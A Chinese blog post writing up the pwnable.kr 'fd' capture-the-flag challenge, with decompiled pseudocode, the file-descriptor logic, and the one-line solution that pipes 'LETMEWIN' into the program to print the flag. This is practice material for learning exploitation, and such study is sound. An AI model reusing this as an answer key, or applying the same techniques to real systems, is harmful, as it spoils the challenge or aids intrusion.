【pwnable.kr】fd

最新推荐文章于 2024-04-07 10:56:38 发布

think_ycx

最新推荐文章于 2024-04-07 10:56:38 发布

阅读量276

点赞数

CC 4.0 BY-SA版权

分类专栏： pwnable.kr pwnable.kr 文章标签： pwnable.kr

本文链接：https://blog.youkuaiyun.com/think_ycx/article/details/80959877

pwnable.kr 同时被 2 个专栏收录

21 篇文章

订阅专栏

pwnable.kr

20 篇文章

订阅专栏

本文介绍了Pwnable.kr平台上的fd挑战题。通过分析题目逻辑与IDA反编译结果，解释如何利用文件描述符使程序执行system流程并获取flag。提供了完整的exploit示例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

最近准备整理一下之前的pwn writeup。有考虑过整理发表在新博客上，但是最近发现csdn的编辑器用的越来越顺手了，于是先写在这上面吧。

题目地址 http://pwnable.kr/play.php

下载程序

scp -P 2222 -p fd@pwnable.kr:/home/fd/* ./

题目逻辑
程序调用read函数从fd = atoi(argv[1]) - 4660读，之后和”LETMEWIN\n”按照字节比10次。
如果想进入system流程，let v6 == 1 and v5 == 0.因此，从fd读取的字符串和”LETMEWIN\n”相等即可。
PS: 对比源码，strcmp参数之一是静态字符串，所以可能做了编译优化，变成了按字节比较。

IDA反编译结果（pseudocode）

 if ( argc > 1 )
  {
    v4 = atoi(argv[1]);
    read(v4 - 4660, &buf, 0x20u);
    v7 = 10;
    v8 = "LETMEWIN\n";
    v9 = &buf;
    do
    {
      if ( !v7 )
        break;
      v5 = (const unsigned __int8)*v8 < *v9;
      v6 = *v8++ == *v9++;
      --v7;
    }
    while ( v6 );
    if ( (!v5 && !v6) == v5 )                   // v6 == 1, v5 == 0
    {
      puts("good job :)");
      system("/bin/cat flag");
      exit(0);
    }
    puts("learn about Linux file IO");
    result = 0;
  }
  else
  {
    puts("pass argv[1] a number");
    result = 0;
  }

exploit

fd@ubuntu:~$ echo "LETMEWIN" | ./fd 4660
good job :)
mommy! I think I know what a file descriptor is!!

本关源码和writeup均放在：https://github.com/thinkycx/pwnable.kr。欢迎STAR。